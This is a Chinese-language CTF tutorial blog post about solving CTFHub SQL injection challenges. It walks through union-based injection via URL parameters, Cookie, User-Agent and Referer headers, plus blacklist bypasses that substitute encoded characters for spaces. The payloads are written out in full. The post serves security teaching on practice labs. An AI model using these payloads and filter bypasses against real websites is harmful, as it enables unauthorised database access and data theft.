从0学习CTF-从ctfhub继续来了解SQL注入

admin 2024年9月28日11:25:25评论9 views字数 2186阅读7分17秒阅读模式

Mysql结构

在安装完数据库后,会有系统自带的四个库用于存储数据库运行的信息数据

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.01 sec)

系统库

作用

performance_schema

MySQL服务器运行过程中的一些状态信息,是对MySQL服务器的一个性能监控,包括最近执行的语句,及花费的时间、内存使用情况等信息

information_schema

MySQL服务器维护的所有其他数据库的信息,描述性信息,称为元数据。如有哪些表、哪些视图、哪些触发器、哪些列、哪些索引等

mysql

主要存储了MySQL的用户账户和权限信息

sys

通过视图的形式将information_schema和performance_schema结合起来,使用户更方便的了解MySQL服务器的性能信息

根据官网的说明: INFORMATION_SCHEMA是每个 MySQL 实例中的一个数据库,用于存储有关 MySQL 服务器维护的所有其他数据库的信息。 INFORMATION_SCHEMA数据库包含多个只读表。它们实际上是视图,而不是基表,因此没有与它们关联的文件,并且您无法在它们上设置触发器。此外,没有具有该名称的数据库目录。

故我们可以通过这个表来对表名、列名信息进行查询

判断是否存在注入,利用真假来查看回显数据1 and 0--1 and 1--

从0学习CTF-从ctfhub继续来了解SQL注入

从0学习CTF-从ctfhub继续来了解SQL注入

union select 1,2--进行联合查询找到回显点

从0学习CTF-从ctfhub继续来了解SQL注入

这里就需要用到information_schema表来帮助我们快速查询数据库的表名,information_schema.tables就是information_schema库的tables表,可以用.来表示是哪一个数据库的表

union select group_concat(table_name) from information_schema.tables where table_schema=database()

从0学习CTF-从ctfhub继续来了解SQL注入

查完表后再查列,这里不同的就是把tables改成了columns,注意区别

union select group_concat(column_name) from information_schema.columns where table_schema=database()

从0学习CTF-从ctfhub继续来了解SQL注入

当找到表名和列名后就可以找到flag

select auzqshexhm,2 from anfuwyfpuw--

从0学习CTF-从ctfhub继续来了解SQL注入

Cookie注入

cookie注入与之前的注入不同的是注入点是在cookie字段处,并不像之前可以通过get请求或是post请求来进行注入

通过修改cookie字段,在数据中用语句1 and 1#来判断是否存在注入

从0学习CTF-从ctfhub继续来了解SQL注入

确认存在注入点后,接下来的步骤就和之前一样了,联合查询找到回显点union select 1,2#

从0学习CTF-从ctfhub继续来了解SQL注入

union select group_concat(table_name) from information_schema.tables where table_schema=database()来查找表名

从0学习CTF-从ctfhub继续来了解SQL注入

再用union select group_concat(column_name) from information_schema.columns where table_schema=database()来查找列名

从0学习CTF-从ctfhub继续来了解SQL注入

最后再用select就能查询到flag了,与之前不同之处在于注入点是在cookie字段

从0学习CTF-从ctfhub继续来了解SQL注入

UA注入

UA注入与之前不同在于注入点是在user-agent这个字段,和之前的get请求和post请求不同

从0学习CTF-从ctfhub继续来了解SQL注入

通过修改user-agent字段,在数据中用语句1 and 1#来判断是否存在注入

从0学习CTF-从ctfhub继续来了解SQL注入

确认注入点后再用联合注入union select 1,2#查找回显点

从0学习CTF-从ctfhub继续来了解SQL注入

union select group_concat(table_name) from information_schema.tables where table_schema=database()来查找表名

从0学习CTF-从ctfhub继续来了解SQL注入

再用union select group_concat(column_name) from information_schema.columns where table_schema=database()来查找列名

从0学习CTF-从ctfhub继续来了解SQL注入

最后在ua头查询flag,所有的sql语句都是从ua头传参

从0学习CTF-从ctfhub继续来了解SQL注入

Refer注入

Refer注入和之前注入不同的地方在于注入的字段在Refer处,和之前的get请求和post请求不同

从0学习CTF-从ctfhub继续来了解SQL注入

一些操作流程都是在referer字段中进行,这里基本不再过多重复展示流程,注入的sql语句可以参考以上的语句来自己进行

从0学习CTF-从ctfhub继续来了解SQL注入

过滤空格

有时在sql注入的时候会遇见添加黑名单的情况,在ctf中会经常遇见这类的题型,这类题目的首要思路就是进行FUZZ替换过滤的关键字

从0学习CTF-从ctfhub继续来了解SQL注入

以下这些都可以尝试去替换空格

/**/
+
%09
%0A
%0B
%0C
%0D
%A0
%20

从0学习CTF-从ctfhub继续来了解SQL注入

通过对字符进行FUZZ确认哪些可以进行替换

从0学习CTF-从ctfhub继续来了解SQL注入

接下来的流程就和之前一样了

从0学习CTF-从ctfhub继续来了解SQL注入

/**/%09%0a都是可以进行替换获取到flag

从0学习CTF-从ctfhub继续来了解SQL注入

从0学习CTF-从ctfhub继续来了解SQL注入

从0学习CTF-从ctfhub继续来了解SQL注入

从0学习CTF-从ctfhub继续来了解SQL注入

原文始发于微信公众号(CatalyzeSec):从0学习CTF-从ctfhub继续来了解SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日11:25:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从0学习CTF-从ctfhub继续来了解SQL注入https://cn-sec.com/archives/3100845.html

发表评论

匿名网友 填写信息